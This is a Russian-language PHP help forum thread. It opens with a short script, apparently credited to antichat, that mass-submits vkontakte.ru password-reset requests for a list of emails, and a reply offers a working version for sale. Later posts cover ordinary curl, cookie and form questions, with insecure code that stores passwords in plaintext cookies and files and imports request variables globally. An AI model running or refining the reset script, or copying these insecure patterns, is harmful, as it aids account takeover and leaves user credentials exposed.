Не могу понять в чем может быть ошибка Vkontakte.ru Ретривер(высылание паролей по списку мыл) PHP: (c)Player#1 for antichat.ru<br><br> <?php set_time_limit(0); function curl($url,$post) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $fp=fopen("accounts.txt", "rt"); while(!feof($fp)) { $str = fgets($fp, 100); $acc = explode(";", $str, 2); $login = trim($acc[0]); $post = "op=retrieve&email=".$login; $result = curl("http://vkontakte.ru/login.php", $post); echo $login; flush(); if(strpos($result, "Location: login.php?p=1")) { echo " - Пароль выслан<br>"; }else{ echo "Ошибка!<br>"; }; }; fclose($fp); ?> Хелп
О_О знакомый код Этот скрипт уже не работает, надо подправить немного... Кстати, я продавал рабочую версию, но потом на mail.ru перестали вовремя приходить письма, поэтому скрипт был не актуален. Сейчас ситуация изменилась, поэтому скоро обновлю скрипт и он вновь поступит в продажу.
m0Hze, так тоже: (c)Player#1 for antichat.ru Ошибка! [email protected]Ошибка! [email protected]Ошибка! [email protected]Ошибка! [email protected]Ошибка! [email protected]Ошибка! [email protected]Ошибка!
есть такой код, и он работал прекрасно год, а вчера начал барахлить и не исполнятся, вар дамп который там стоит показывает вот что Code: int(10) resource(31) of type (curl_multi) Warning: (null)(): 32 is not a valid cURL handle resource in Unknown on line 0 в чем дело даже вообще не понятно, подскажите люди, ибо дебагу этот код не поддается. может кто то сталкивался с такой проблемой в курле. а если вар дамп убрать то просто кидает в браузер заголовок Code: Status=OK - 200 то есть больше вообще никаких хидеров не посылает в браузер, 1 строка и всё PHP: for($i=0;$i<count($sites);$i+=$this->threads){ $curly = array(); $result = array(); $mh = curl_multi_init(); for($m=$i;$m<=($i+$this->threads)-1;$m++){ //prepare thread if($transok){ $curly[$m] = curl_init($trans); }else{ $curly[$m] = curl_init($sites[$m]['url']); } curl_setopt($curly[$m], CURLOPT_POST, 1); curl_setopt($curly[$m], CURLOPT_POSTFIELDS, $sites[$m]['post']); curl_setopt($curly[$m], CURLOPT_TIMEOUT, 60); curl_setopt($curly[$m], CURLOPT_RETURNTRANSFER, 1); curl_multi_add_handle($mh, $curly[$m]); var_dump($this->threads, $mh);die(); } // execute the handles $running = null; do { curl_multi_exec($mh, $running); usleep(100000); } while($running > 0); // get content and remove handles foreach($curly as $id => $c) { $result[$id] = curl_multi_getcontent($c); if(is_numeric(trim($result[$id]!==false))){ $result[$id] = intval($result[$id]); $r = mysql_query("UPDATE incsites SET status='".intval($result[$id])."', lastmodif=now() WHERE userid='".$_SESSION['user']['id']."' and id='".$sites[$id]['id']."'"); } curl_multi_remove_handle($mh, $c); } curl_multi_close($mh); } Code: Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit' Code: curlcURL support enabled cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3
Code: Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit' Code: curlcURL support enabled cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3
Код сам по себе не мог перестать работать. Что-то изменилось... Сделай позавчерашний бекап, если таковой имелся.
ну бекап чего делать , код не изменился. База точно не причем. Единственное что мог обновится directadmin по крону. Но где искать косяк?
Я сам мультикур нераскуривал, но работаю с классом Мультикурл, если хочеш стукни мне в асю я тебе перепишу скрипт, опишеш весь функционал, или же даш полный скрипт я поковыряю. А так не совсем ясно что у тебя там, к тому же в скрипте уже используется класс: и угадать что за класс и что должно быть в $this->threads никак =)
помогите, не могу куки установить PHP: $_SESSION['username'] = $user_row['username']; // или какие поля ты хочешь, сессия $_SESSION['password'] = $user_row['password']; //echo $user_row['username'].' '.$user_row['password']; setcookie("username", $user_row["username"],time()+3600); // куки setcookie("password", $user_row["password"],time()+3600); echo 'куки найдены' .$_COOKIE["username"].' '.$_COOKIE["password"]; помогите, не могу куки установить , уже день бьюсь как рыба об лёд
А как ты видишь, что куки не установлены? по echo 'куки найдены' .$_COOKIE["username"].' '.$_COOKIE["password"]; - этой строчке? как бы массив $_COOKIE формируется в момент загрузки страницы. И данных username, password там нет. Попробуй явно их указать после setcookie(). $_COOKIE['username'] = $user_row["username"];
Выбранные checkbox и запись их значений в виде строки Подскажите, как грамотно выполнить вот такую задачу: Есть форма с чекбоксами: PHP: <input type="checkbox" value="'.$row["id"].'" /> Нужно значения выбранных чекбоксов записать в базу, в виде строки: 'id', 'id', 'id, 'id', 'id'
PHP: <?php if(isset($_POST['checkbox'])) echo "'" . implode("','", $_POST['checkbox']) . "'"; ?> <form method="POST"> <input type="checkbox" name="checkbox[]" value="1" /> <input type="checkbox" name="checkbox[]" value="2" /> <input type="checkbox" name="checkbox[]" value="3" /> <input type="submit"> </form>
Как сделать авторизацию на php на файлах? Нашёл довольно подходящий скрипт : PHP: <?php #Файл-база пользователей, права доступа 766 $basemember = "data/base_avatar.dat"; #папка, где лежат картинки, права доступа 777 или 733 $papka_images = 'images'; #максимальный размер файла в байтах $MAX_SIZE = '100000'; #ширина картинки $fr_width = '120'; #высота картинки $fr_height = '120'; // это функция уменьшает картинку function small_image($path,$w_new,$h_new){ $file = @getimagesize ($path); $w = $file[0]; $h = $file[1]; if($file[2]=='2'){ $old = @imageCreateFromJpeg($path); } if($file[2]=='3'){ $old = @imageCreateFromPng($path); } $new = @imageCreate($w_new, $h_new); @imageCopyResized($new, $old, 0, 0, 0, 0, $w_new, $h_new, $w, $h); if($file[2]=='2'){ @imageJpeg($new, $path); } if($file[2]=='3'){ @imagePng($new, $path); } @imageDestroy($old); @imageDestroy($new); return true; } // эта функция добавляет картинку function add_images($arr){ global $MAX_SIZE,$basemember,$papka_images,$fr_width,$fr_height,$c_name,$c_ppass; $ffile = $papka_images."/".$arr['file_name']['name']; if(@file_exists($ffile)) {return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$ffile."</b> уже существует...<br>\n";} $bibl_ext = @dirname($_SERVER['SCRIPT_FILENAME']).'/extensions/php_gd.dll'; if(!extension_loaded('gd') and is_file($bibl_ext)){ dl("extensions/php_gd.dll");} if(!extension_loaded('gd')){ return print "Нет файла библиотеки ".$bibl_ext;} if($arr[file_name][name]!=''){ if(preg_match("~[^a-zA-Z0-9_\.-]~",$arr['file_name']['name'])){return print "\n<br><font class='forums'><b>Error:</b></font> недопустимые символы или пробелы в имени: <b>".$arr['file_name']['name']."</b><br>\n"; } $type_file = $arr[file_name][type]; if(!preg_match("/jpeg|png/i",$type_file)){ return print "\n<br><font class='forums'><b>Error:</b></font> формат <b></b> недопустим...<br>\n";} $general = @file($base_images); for ($i = count($general)-1; $i >= 0; $i--) { list($name_f,$size_f,$data_f)=explode("::", $general[$i]); if($arr['file_name']['name']==$name_f){return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$name_f."</b> уже существует...<br>\n"; } } $tmp = str_replace("\\","/",getcwd())."/".$papka_images; if(@is_writeable($tmp)){ $fname = $tmp.'/'.$arr['file_name']['name']; if(move_uploaded_file($arr['file_name']['tmp_name'],$fname)){ $type_file = $arr['file_name']['type']; $name_file = $arr['file_name']['name']; $size_file = $arr['file_name']['size']; } } else{return print "\n<br><font class='forums'><b>Error:</b></font> на папку <b>".$tmp."</b> нет доступа на запись...<br>\n"; } } else{return print "\n<br><font class='forums'><b>Error:</b></font> <b>введите</b> имя файла в форму...<br>\n"; } if(strlen($name_file)=='0'){return print "\n<br><font class='forums'><b>Error:</b></font> <b>размер</b> файла превышает допустимый ".$MAX_SIZE." байт <br>\n"; } if(!file_exists($fname)) {return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$fname."</b> не найден...<br>\n";} small_image($fname,$fr_width,$fr_height); $general = @file($basemember); $lines = count($general); $fp = @fopen($basemember, 'w'); for ( $i = 0; $i < $lines; $i++){ list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]); if($c_name==$name_t and $c_ppass==$ppass_t){ if($avatar_t!=''){$avatar_t=$papka_images."/".$avatar_t; @unlink ($avatar_t);} @fwrite ($fp,"$name_t::$ppass_t::$name_file::\n"); } else{@fwrite ($fp,$general[$i]);} } @fclose ($fp); return print "<b>\n<br><font class='forums'>Файл:</font> ".$name_file." </b>(".$size_file." байт) успешно загружен<br>\n"; } // эта функция печатает форму function print_form(){ global $session_form,$MAX_SIZE,$c_name,$c_ppass,$fr_width,$fr_height,$dont_registr; $MAX_SIZE_KB = ceil($MAX_SIZE/1000); $aaa=" <form ENCTYPE='multipart/form-data' ACTION='set.php' METHOD='POST'> <table border='0' cellpadding='2' cellspacing='2'><tr><td>".$session_form." <input TYPE='hidden' name='MAX_FILE_SIZE' value='".$MAX_SIZE."'>"; if($dont_registr == 'yes'){ $aaa .= "Логин: <input type='text' name='name' value='".$c_name."'> <br>Пароль: <input type='password' name='ppass' value='".$c_ppass."'>\n"; } else{ $aaa .= "<br><input type='file' name='file_name' size='35'>\n"; } $aaa .= "<input type='submit' value='добавить'> </td></tr></table> </form>\n"; return $aaa; } //работа с сессией if(isset($HTTP_GET_VARS)) {foreach($HTTP_GET_VARS as $key => $value ) {$$key=$value;}} if(isset($HTTP_POST_VARS)){foreach($HTTP_POST_VARS as $key => $value ){$$key=$value;}} unset($c_ppass,$c_name); if ( isset ($_COOKIE)) { foreach ($_COOKIE as $key => $value ) {$$key=$value;}} if ($c_zvet=='' or !isset($c_zvet)){ setcookie('c_zvet','Стандарт',time()+33333333); } @session_name('SID'); @session_start(); if ( isset ($_SESSION)) { foreach ($_SESSION as $key => $value ){ $$key=$value;}} if($c_zvet!=''){ @ini_alter('session.use_trans_sid','0'); $SID=@session_id(); @session_destroy(); @setcookie('SID', $SID, time()+33333333); } else{ @ini_alter('session.use_cookies','0'); @session_destroy(); @session_id(@md5(@uniqid(@rand()))); $SID=@session_id(); if ( ini_get ('session.use_trans_sid')=='0'){ $session_form .="\n<input type='hidden' name='SID' value='".$SID."'>"; $session_link .="&SID=".$SID; } } @session_register('c_name','c_ppass'); // вставляем верх странички, меняйте его под себя... include("templates/index_top.htm"); // если кликнули закрыть сессию, можно убрать эту строку if($sess=='close'){@session_unset(); @session_destroy();} // если пришли данные из формы... if($name!='' and $ppass!=''){ $c_name = $name;$c_ppass = $ppass; } // если прищла картинка из формы if(isset($HTTP_POST_FILES['file_name']['name'])){add_images($HTTP_POST_FILES); } // если нет, значит человек регистрируется или авторизируется elseif($name!='' and $ppass!=''){ $general = @file($basemember); $lines = count($general); $fp = @fopen($basemember, 'w'); for ( $i = 0; $i <= $lines; $i++ ){ list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]); if($name==$name_t and $ppass==$ppass_t and $name_t!=''){@fwrite ($fp,$general[$i]); $old='yes'; } elseif($i==$lines and $old!='yes'){@fwrite ($fp,"$name::$ppass::::\n");} else{@fwrite ($fp,$general[$i]);} } @fclose ($fp); } // проверяем есть ли человек в нашей базе, если нет то говорим что $dont_registr = 'yes' $general = @file($basemember); $lines = count($general); for ( $i = 0; $i <= $lines; $i++ ){ list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]); if($c_name==$name_t and $c_ppass==$ppass_t and $name_t!=''){ break; } if($i==$lines){ $dont_registr = 'yes'; } } // если человека в базе нет печатаем форму и предлагаем авторизацию if($dont_registr == 'yes'){ print "<p align='justify'></p><p align='justify'>Авторизация - регистрация</p>"; print print_form(); } // если он есть в базе приходим сюда else{ if($avatar_t!='' and $del!='yes'){ $avatar = "<img src=".$papka_images."/".$avatar_t.">"; $message ="У Вас <font class=forums><b>Есть</b></font> аватар (<b>".$avatar_t."</b>). Вы можете его менять, удалять."; } else {$avatar =''; $message ="У Вас <font class=forums><b>Нет</b></font> аватара. Вы можете его добавить.";} $MAX_SIZE_KB = ceil($MAX_SIZE/1000); $message .= "<p align='justify'> Допустимы два формата Jpeg и Png - заменяюший формат Gif. Закачивайте файл размером не более <b>".$MAX_SIZE_KB."kб</b>. Размер картинки будет сохранен в рамках ".$fr_width."x".$fr_height." пикселей.<br><br>Для более качественной его передачи, желательно привести вашу картинку к данному размеру ".$fr_width."x".$fr_height." пикселей.</p>\n"; if($avatar_t!='' and $del!='yes'){$message .="<p align='justify'>Для того, чтобы добавить картинку с тем же именем, что уже существует, Вам надо сначала Аватар удалить.<br><br> Для удаления аватара, <a href='set.php?del=yes".$session_link."'>клинете здесь...</a></p>\n"; } // если пользователь удаляет аватар то мы здесь if($del=='yes'){ $general = @file($basemember); $lines = count($general); $fp = @fopen($basemember, 'w'); for ( $i = 0; $i < $lines; $i++){ list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]); if($c_name==$name_t and $c_ppass==$ppass_t){ if($avatar_t!=''){$avatar_t=$papka_images."/".$avatar_t; @unlink ($avatar_t);} @fwrite ($fp,"$name_t::$ppass_t::::\n"); } else{@fwrite ($fp,$general[$i]);} } @fclose ($fp); print "\n<br><b>Аватар</b> удален...<br>\n"; } print "<table width='600' border='0' cellpadding='5' cellspacing='5'><tr><td valign='top'>$avatar</td><td align='justify'>$message</td></tr></table>\n"; print print_form(); } // это просто ссылки, типа ваших страничек print "<a href='set.php?act=registr1'>Кликайте здесь</a> <a href='set.php?act=registr2'>И тут тоже...</a> <a href='set.php?sess=close'>Закрыть сессию</a>"; // вставаляем нижний шаблон include("templates/index_end.htm"); ?> Но мне не надо печенек и даже сессий...Надо просто рег\вход и после входа передать данные в чат: ник,статус, права Убирал лишнее сам --- после нажатия добавить нифига не происходит(
форма PHP: echo (' <form action="index.php?go=ok" method="post"> Новый пароль: <input type="text" name="сpwfl"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>'); приемник PHP: если var_dump($_POST); получаю массив array(2) { ["сpwfl"]=> string(6) "214324" ["but1"]=> string(15) "Изменить пароль" } если var_dump($_POST['cpwfl']); получаю null почему? if(isset($_POST['cpwfl']) && isset($_POST['but1']) )
перепиши имя поля и имя в переменной, у тебя где-то символ русский стоит так все пашет PHP: echo (' <form action="" method="post"> Новый пароль: <input type="text" name="nnn"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>'); echo var_dump($_POST); echo var_dump($_POST['nnn']);